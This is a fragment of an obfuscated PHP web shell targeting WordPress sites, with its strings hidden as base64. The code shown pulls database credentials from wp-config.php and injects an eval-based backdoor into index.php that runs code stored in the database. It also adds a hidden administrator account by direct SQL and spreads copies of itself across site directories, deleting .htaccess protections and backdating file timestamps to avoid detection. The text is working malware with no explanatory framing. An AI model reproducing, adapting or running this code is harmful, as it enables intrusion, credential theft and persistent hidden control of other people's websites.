wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPgogPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+RGlyZWN0b3J5IDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWt0b3JpIiB2YWx1ZT0i') . $direktorinya . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+CiA8aW5wdXQgdHlwZT0ic3VibWl0IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCIgdmFsdWU9IkFtYmlsIERhdGFiYXNlIFdQIiBuYW1lPSJjaGVja3dwIiAvPjwvZGl2PgogPC9kaXY+PC9mb3JtPg=='); if (isset($_POST[wb('ZGlyZWt0b3Jp')])) { $kurator = $_POST[wb('ZGlyZWt0b3Jp')]; if ($GNJ[22]($kurator, -1) == wb('Lw==')) { $kurator = $GNJ[22]($kurator, 0, -1); } $lapor8900 = $kurator . DIRECTORY_SEPARATOR . wb('d3AtY29uZmlnLnBocA=='); if ($GNJ[26]($lapor8900)) { $cxz = fgt($lapor8900); preg_match(wb('L2RlZmluZS4qREJfTkFNRS4qJyguKiknLw=='), $cxz, $mxz); $dbnamex = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfVVNFUi4qJyguKiknLw=='), $cxz, $mxz); $dbuserx = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfUEFTU1dPUkQuKicoLiopJy8='), $cxz, $mxz); $dbpassx = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfSE9TVC4qJyguKiknLw=='), $cxz, $mxz); $dbhostx = $mxz[1]; preg_match(wb('L3RhYmxlX3ByZWZpeC4qPS4qJyguKiknLw=='), $cxz, $mxm); } } if (isset($_POST[wb('a2V5')])) { $keyshell = $_POST[wb('a2V5')]; } else { $keyshell = generateRandomString(); } echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+IDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4gPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+REIgSG9zdDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj4gPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCJ0eXBlPSJ0ZXh0IiBuYW1lPSJkYmhvc3QiIHZhbHVlPSI=') . $dbhostx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBVc2VyIDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGJ1c2VyIiB2YWx1ZT0i') . $dbuserx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBQYXNzd29yZCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImRicGFzcyIgdmFsdWU9Ig==') . $dbpassx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBOYW1lIDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGJuYW1lIiB2YWx1ZT0i') . $dbnamex . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5GaWxlIHRvIEluamVjdCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImZpbGV0b2luamVjdCIgdmFsdWU9Ig==') . $kurator . wb('L2luZGV4LnBocCIgc3R5bGU9IndpZHRoOiA0NTBweDsiIGhlaWdodD0iMTAiPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4gPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+S2V5IDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0ia2V5IiB2YWx1ZT0i') . $keyshell . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+U2hlbGwgPC9sYWJlbD48ZGl2IGNsYXNzPSJjb2wtc20tMTAiPjx0ZXh0YXJlYSBjbGFzcz0iZm9ybS1jb250cm9sIHJvdW5kZWQtMCIgc3R5bGU9Im1pbi13aWR0aDogOTYlOyBoZWlnaHQ6IDIwMHB4OyIgbmFtZT0ic2gzM2x6Ij4=') . html_entity_decode($GNJ[39](b64dd($default))) . wb('PC90ZXh0YXJlYT48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSJjb2wtbWQtMTIgdGV4dC1jZW50ZXIiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGJ0biBidG4td2FybmluZyBidG4tc20iIHN0eWxlPSJ3aWR0aDogNDUwcHg7IGhlaWdodDogNDBweDsiIHZhbHVlPSJJbmplY3QgTm93IiBuYW1lPSJpbmplY3Rub3ciLz4gPC9kaXY+PC9mb3JtPg=='); if (isset($_POST[wb('aW5qZWN0bm93')])) { echo wb('PGNlbnRlcj4='); if (isset($_POST[wb('ZGJob3N0')])) { $dbhost = $_POST[wb('ZGJob3N0')]; $dbuser = $_POST[wb('ZGJ1c2Vy')]; $dbpass = $_POST[wb('ZGJwYXNz')]; $dbname = $_POST[wb('ZGJuYW1l')]; $filetoinject = $_POST[wb('ZmlsZXRvaW5qZWN0')]; $key = $GNJ[14](array(wb('Ig=='), wb('Jw==')), '', trim($_POST[wb('a2V5')])); $shellz = b64ed($_POST[wb('c2gzM2x6')]); if ($conn = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname)) { if (@is_file($filetoinject) && @$GNJ[31]($filetoinject)) { @mysqli_query($conn, wb('RFJPUCBUQUJMRSBgbGljZW5zZXNg')); @mysqli_query($conn, wb('Q1JFQVRFIFRBQkxFIGBsaWNlbnNlc2AgKGNvZGUgTE9OR1RFWFQp')); @mysqli_query($conn, wb('SU5TRVJUIElOVE8gYGxpY2Vuc2VzYCBWQUxVRVMoIg==') . $shellz . wb('Iik=')); $code = wb('PD9waHAgaWYoaXNzZXQoJF9HRVRbIngiXSkmJiRfR0VUWyJ4Il09PSI=') . $key . wb('Iil7JGNvbm49bXlzcWxpX2Nvbm5lY3QoIg==') . $GNJ[14](wb('Ig=='), wb('XCI='), $dbhost) . wb('Iiwi') . $GNJ[14](wb('Ig=='), wb('XCI='), $dbuser) . wb('Iiwi') . $GNJ[14](wb('Ig=='), wb('XCI='), $dbpass) . wb('Iiwi') . $GNJ[14](wb('Ig=='), wb('XCI='), $dbname) . wb('Iik7JHE9bXlzcWxpX3F1ZXJ5KCRjb25uLCJTRUxFQ1QgYGNvZGVgIEZST00gbGljZW5zZXMgTElNSVQgMCwxIik7JHI9bXlzcWxpX2ZldGNoX2Fzc29jKCRxKTskZnVuYz0iY3IiLiJlYSIuInRlXyIuImZ1biIuImN0aW9uIjskeD0kZnVuYygiXCRjIiwiZSIuInYiLiJhbCIuIignPz4nLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4='); @file_put_contents($filetoinject, $code . wb('Cg==') . @fgt($filetoinject)); echo wb('PGJyPlJ1biBXaXRoOiA=') . basename($filetoinject) . wb('P3g9') . $key; } } echo wb('PC9jZW50ZXI+'); } } } elseif (isset($_GET[hex(wb('YWRkdXNlcndw'))])) { AutomenU($d); $direktorinya = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDIgc3R5bGU9J2NvbG9yOiBncmVlbjsnPkFkZCBBZG1pbiBXb3JkcHJlc3M8L2gyPjwvY2VudGVyPg=='); if (empty($_POST[wb('ZGJob3N0')])) { $dbhostx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJ1c2Vy')])) { $dbuserx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJwYXNz')])) { $dbpassx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJuYW1l')])) { $dbnamex = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('dGFibGVfcHJlZml4')])) { $table_prefixx = wb('SVNJIC4uLg=='); } echo wb('PGJyPjxicj48ZGl2IHN0eWxlPSJ3aWR0aDo3NTBweDttYXJnaW46IGF1dG8iPg=='); echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPgogPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+RGlyZWN0b3J5IDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWt0b3JpIiB2YWx1ZT0i') . $direktorinya . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+CiA8aW5wdXQgdHlwZT0ic3VibWl0IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCIgdmFsdWU9IkFtYmlsIERhdGFiYXNlIFdQIiBuYW1lPSJjaGVja3dwIiAvPjwvZGl2PgogPC9kaXY+PC9mb3JtPg=='); if (isset($_POST[wb('ZGlyZWt0b3Jp')])) { $kurator = $_POST[wb('ZGlyZWt0b3Jp')]; $lapor8900 = $kurator . DIRECTORY_SEPARATOR . wb('d3AtY29uZmlnLnBocA=='); if ($GNJ[26]($lapor8900)) { $cxz = fgt($lapor8900); preg_match(wb('L2RlZmluZS4qREJfTkFNRS4qJyguKiknLw=='), $cxz, $mxz); $dbnamex = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfVVNFUi4qJyguKiknLw=='), $cxz, $mxz); $dbuserx = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfUEFTU1dPUkQuKicoLiopJy8='), $cxz, $mxz); $dbpassx = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfSE9TVC4qJyguKiknLw=='), $cxz, $mxz); $dbhostx = $mxz[1]; preg_match(wb('L3RhYmxlX3ByZWZpeC4qPS4qJyguKiknLw=='), $cxz, $mxm); $table_prefixx = $mxm[1]; } } echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+IDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgcm93Ij4gPGxhYmVsIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCI+REIgSG9zdDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj4gPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIGNsYXNzPSJjb2wtc20tMiBjb2wtZm9ybS1sYWJlbCJ0eXBlPSJ0ZXh0IiBuYW1lPSJkYmhvc3QiIHZhbHVlPSI=') . $dbhostx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBVc2VyIDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGJ1c2VyIiB2YWx1ZT0i') . $dbuserx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBQYXNzd29yZCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImRicGFzcyIgdmFsdWU9Ig==') . $dbpassx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBOYW1lIDwvbGFiZWw+PGRpdiBjbGFzcz0iY29sLXNtLTEwIj48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGJuYW1lIiB2YWx1ZT0i') . $dbnamex . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5EQiBQcmVmaXggPC9sYWJlbD48ZGl2IGNsYXNzPSJjb2wtc20tMTAiPjxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPSJ0ZXh0IiBuYW1lPSJ0YWJsZV9wcmVmaXgiIHZhbHVlPSI=') . $table_prefixx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5Vc2VybmFtZSA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiB2YWx1ZT0i') . $dbuserx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5QYXNzd29yZCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9InBhenp3b3JkIiB2YWx1ZT0i') . $dbpassx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5FbWFpbCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImVtYWlsIiB2YWx1ZT0iYWRtaW5AZ29vZ2xlLmNvbSIgc3R5bGU9IndpZHRoOiA0NTBweDsiIGhlaWdodD0iMTAiPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImNvbC1tZC0xMiB0ZXh0LXJpZ2h0Ij4gPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLXdhcm5pbmcgYnRuLWxnIiB2YWx1ZT0iU0FWRSIgbmFtZT0idGFtYmFoa2FuIi8+IDwvZGl2PjwvZm9ybT4='); if (isset($_POST[wb('dGFtYmFoa2Fu')])) { echo wb('PGNlbnRlcj4='); if (isset($table_prefix)) { $dbhost = $_POST[wb('ZGJob3N0')]; $dbuser = $_POST[wb('ZGJ1c2Vy')]; $dbpass = $_POST[wb('ZGJwYXNz')]; $dbname = $_POST[wb('ZGJuYW1l')]; $table_prefix = $_POST[wb('dGFibGVfcHJlZml4')]; $username = $_POST[wb('dXNlcm5hbWU=')]; $pazzword = $_POST[wb('cGF6endvcmQ=')]; $email = $_POST[wb('ZW1haWw=')]; $idx = rand(100, 1000); $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($conn->connect_error) { die(wb('Q29ubmVjdGlvbiBmYWlsZWQ6IA==') . $conn->connect_error); } $sql = wb('SU5TRVJUIElOVE8g') . $table_prefix . "\165\163\x65\162\x73\x20\50\x49\104\54\40\x75\x73\x65\162\137\154\157\x67\x69\x6e\54\40\165\163\x65\162\137\160\141\163\x73\x2c\40\165\163\145\x72\137\x6e\x69\x63\x65\x6e\x61\155\x65\x2c\x20\165\x73\x65\x72\x5f\145\x6d\141\x69\x6c\x2c\40\165\163\145\x72\x5f\165\x72\154\x2c\40\165\x73\x65\x72\137\x72\x65\147\x69\x73\x74\145\x72\145\144\54\40\x75\x73\x65\x72\137\x61\143\164\151\166\141\164\151\157\156\x5f\153\x65\171\54\x20\165\x73\x65\162\137\x73\164\141\164\165\x73\54\40\144\151\163\160\x6c\141\171\137\156\141\x6d\145\x29\40\126\101\x4c\x55\105\x53\40\x28\47{$idx}\x27\x2c\x20\47{$username}\47\54\x20\115\104\x35\50\x27" . $pazzword . "\x27\x29\x2c\40\47{$username}\47\x2c\x20\x27{$email}\47\54\40\x27\x27\x2c\40\x27\62\60\61\x38\55\60\66\55\60\67\x20\60\60\x3a\60\x30\72\x30\60\x27\54\40\x27\x27\x2c\x20\x27\x30\47\54\x20\47{$username}\x27\51\73"; $sql .= wb('SU5TRVJUIElOVE8g') . $table_prefix . "\165\x73\145\162\x6d\145\x74\141\40\50\x75\155\x65\x74\x61\x5f\151\x64\x2c\40\165\x73\145\162\x5f\151\x64\x2c\40\x6d\145\164\x61\137\153\x65\x79\54\x20\155\x65\x74\x61\x5f\166\x61\x6c\x75\x65\x29\x20\x56\101\114\125\105\123\x20\50\116\x55\x4c\114\54\40\x27{$idx}\47\x2c\40\47" . $table_prefix . wb('Y2FwYWJpbGl0aWVzJywgJ2E6MTp7czoxMzoiYWRtaW5pc3RyYXRvciI7czoxOiIxIjt9Jyk7'); $sql .= wb('SU5TRVJUIElOVE8g') . $table_prefix . "\165\x73\x65\162\x6d\145\x74\x61\x20\x28\165\x6d\145\x74\141\137\x69\x64\x2c\40\x75\163\145\x72\x5f\x69\144\x2c\40\155\145\164\x61\137\153\145\x79\54\x20\x6d\x65\164\x61\137\166\141\x6c\165\x65\51\x20\x56\101\x4c\125\105\x53\40\x28\116\125\x4c\114\x2c\40\47{$idx}\x27\54\40\x27" . $table_prefix . wb('dXNlcl9sZXZlbCcsICcxMCcpOw=='); if ($conn->multi_query($sql) === true) { echo wb('TmV3IHJlY29yZHMgY3JlYXRlZCBzdWNjZXNzZnVsbHk8YnI+'); echo wb('PGNvZGU+VXNlcm5hbWU6IA==') . $username . wb('PC9jb2RlPg=='); echo wb('PGNvZGU+UGFzc3dvcmQ6IA==') . $pazzword . wb('PC9jb2RlPg=='); } else { echo wb('RXJyb3I6IA==') . $sql . wb('PGJyPg==') . $conn->error; } $conn->close(); } else { echo wb('IEdhZ2FsIGRhbGFtIGluamVjdCB1c2VyIFdvcmRQcmVzcw=='); } echo wb('PC9jZW50ZXI+'); } echo wb('PC9kaXY+'); } elseif (isset($_GET[hex(wb('c2lnbmF0dXJl'))])) { @set_time_limit(0); $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; $fullxx = $_SERVER[wb('SFRUUF9IT1NU')] . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $direktori); $fullxx = $GNJ[14](wb('Ly8='), wb('Lw=='), $fullxx); $fullxx = $GNJ[14](wb('XA=='), wb('Lw=='), $fullxx); if (isset($_POST[wb('ZGlyZWt0b3JpeA==')])) { $direktori = $_POST[wb('ZGlyZWt0b3JpeA==')]; } else { $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } echo wb('PGhyPjxicj4='); echo wb('PGgyIGNsYXNzPSJ0ZXh0LWNlbnRlciI+MjQxNTQzOTAzPC9oMj4KCQkJCTxmb3JtIGNsYXNzPSJmb3JtLWlubGluZSBjZW50ZXIiIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgo8c2VsZWN0IG5hbWU9Im1vZGV4IiBpZD0ibW9kZXgiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJ3aWR0aDogMjAlOyBoZWlnaHQ6IDQwcHg7Ij4KIAk8b3B0aW9uIHZhbHVlPSJzdGFuZGFyZCI+U2FudG9yeXUgT3VnaTwvb3B0aW9uPgogCTxvcHRpb24gdmFsdWU9InJhbmRvbSI+VG9nZW4gVG90c3VrYTwvb3B0aW9uPgogCTxvcHRpb24gdmFsdWU9Imhha2FpIj5IYWthaTwvb3B0aW9uPiA8L3NlbGVjdD4KIDxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIG1sLTMiIHR5cGU9InRleHQiIG5hbWU9ImRpcmVrdG9yaXgiIHZhbHVlPSI=') . $direktori . wb('IiBzdHlsZT0id2lkdGg6IDUwJTsiIGhlaWdodD0iMTAiPgogPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLXdhcm5pbmcgZm9ybS1jb250cm9sIGNvbC1tZC0zIG1sLTMiIHN0eWxlPSJoZWlnaHQ6IDQwcHg7IiB2YWx1ZT0iVGViYXIiIG5hbWU9InRlYmFyIiAvPjwvZm9ybT4KIDxicj4='); if (isset($_POST[wb('bW9kZXg=')])) { echo wb('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibW9kZXgiKS52YWx1ZSA9ICI=') . $_POST[wb('bW9kZXg=')] . wb('Ijs8L3NjcmlwdD4='); } if (isset($_POST[wb('dGViYXI=')])) { $modeio = $_POST[wb('bW9kZXg=')]; $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $folderio = $_POST[wb('ZGlyZWt0b3JpeA==')]; if ($GNJ[22]($folderio, -1) == wb('Lw==')) { $folderio = $GNJ[22]($folderio, 0, -1); } $dirderdor = getSubDirectories($folderio); $dirderdor = $GNJ[14](wb('Ly8='), wb('Lw=='), $dirderdor); $subdir = shuffle_assoc($dirderdor); $totaldir = count($dirderdor); echo wb('PGJyPlRvdGFsIERpcmVjdG9yeSB0byBJbmZlY3Q6IA==') . $totaldir . wb('IC8g') . count($eft0); $pehape = getFilex($folderio, wb('L1wucGhwJC8=')); $jumlahfilenyax = count(array_unique($pehape)); if ($jumlahfilenyax < count($itemsxz)) { $namanamafile = shuffle_assoc($enx0); } else { $namanamafile = shuffle_assoc($pehape); } echo wb('PGJyPlRvdGFsIFVuaXF1ZSBGaWxlIE5hbWUgdG8gQ29waWVkIGFuZCBJbmZlY3Q6IA==') . $jumlahfilenyax . wb('IC8g') . count($itemsxz); echo wb('PGhyPjxicj4='); echo wb('PGNvZGU+'); $reportFinal = ''; $love = wb('bGljZW5zZXMucGhw'); $laporlove = dirname(__FILE__) . DIRECTORY_SEPARATOR . $love; if (!$GNJ[26]($laporlove)) { $tmpf = sys_get_temp_dir() . DIRECTORY_SEPARATOR . uniqid(rand(1, 50)) . wb('LnRtcA=='); $textz = html_entity_decode($GNJ[39](b64dd($local))); @file_put_contents($tmpf, $textz); @file_put_contents($laporlove, wb('PD9waHAgcmVxdWlyZV9vbmNlKCI=') . $tmpf . wb('Iik7Pz4=')); } else { @$GNJ[5]($tmpf, $laporlove); } if ($GNJ[26]($laporlove) && $GNJ[34]($laporlove) > 0) { echo wb('PGEgaHJlZj0nLy8=') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $laporlove) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $laporlove) . wb('PC9hPjxicj4='); @$GNJ[25]($laporlove, $waktu); $reportFinal = $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $laporlove) . PHP_EOL; } if (isset($folderio)) { $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); if ($modeio === wb('aGFrYWk=')) { if (!class_exists(wb('WmlwQXJjaGl2ZQ=='))) { echo wb('PGgyIGNsYXNzPSdibGluayc+UEhQIFNlcnZlciBoYXMgTm8gWmlwQXJjaGl2ZSBDbGFzczwvaDI+PC9ocj4='); goto EndofLife; } if ($GNJ[31]($folderio)) { @$GNJ[5](decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwdzBySzlqYnFkZkkvSGpzWEN3cXV5YjlLeXZRPT0=')), $folderio . wb('L2phdmFzY3JpcHRzLnppcA==')); $try = $folderio . wb('Lw=='); $zip2 = new ZipArchive(); if ($zip2->open($folderio . wb('L2phdmFzY3JpcHRzLnppcA==')) === true) { $zip2->extractTo($try); $zip2->close(); @$GNJ[10]($folderio . wb('L2phdmFzY3JpcHRzLnppcA==')); redirectkeDepan(hex($folderio)); } } else { echo wb('UGxlYXNlIGNoZWNrIGZvbGRlciBpc24ndCB3cml0YWJsZSE8L2NvZGU+'); } goto EndofLife; } $lapor8 = $folderio . wb('L3dwLWNvbmZpZy5waHA='); if ($GNJ[26]($lapor8)) { $treba = 0; while ($treba <= count($itemsxz)) { switch ($modeio) { case wb('c3RhbmRhcmQ='): $namafilenx = $namanamafile[array_rand($namanamafile, 1)]; break; default: $namafilenx = $enx1[array_rand($enx1, 1)]; } $picksubdirX1 = $eft0[array_rand($eft0, 1)]; $picksubdirFirst = $subdir[array_rand($subdir, 1)]; $sourcezx = $itemsxz[array_rand($itemsxz, 1)]; if ($totaldir < count($eft0)) { $picksubdir = $picksubdirFirst . DIRECTORY_SEPARATOR . $picksubdirX1; } else { $picksubdir = $picksubdirFirst; } $fullSubdirFile = $picksubdir . DIRECTORY_SEPARATOR . $namafilenx; $htaccess = $picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz'); if (!$GNJ[26]($fullSubdirFile)) { if (!$GNJ[26]($picksubdir)) { if (!$GNJ[11]($picksubdir, 493, true)) { continue; } } if (!$GNJ[31]($picksubdir)) { continue; } if ($GNJ[26]($htaccess)) { $htaneh = fgt($htaccess); preg_match(wb('L0ZpbGVzTWF0Y2gvaQ=='), $htaneh, $hasilhtaneh); preg_match(wb('L1JlcXVpcmUgYWxsIGRlbmllZC9p'), $htaneh, $hasilhtaneh); $wipesht = $hasilhtaneh[1]; if (isset($wipesht)) { @$GNJ[12]($picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz'), 420); @$GNJ[10]($picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz')); } } $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $reportx = fgt($sourcezx); file_put_contents($fullSubdirFile, $reportx); @$GNJ[25]($fullSubdirFile, $waktu); if ($GNJ[26]($fullSubdirFile) && $GNJ[34]($fullSubdirFile) > 0) { echo wb('PGEgaHJlZj0nLy8=') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . wb('PC9hPjxicj4='); @$GNJ[25]($fullSubdirFile, $waktu); } $reportFinal .= $fullxx . 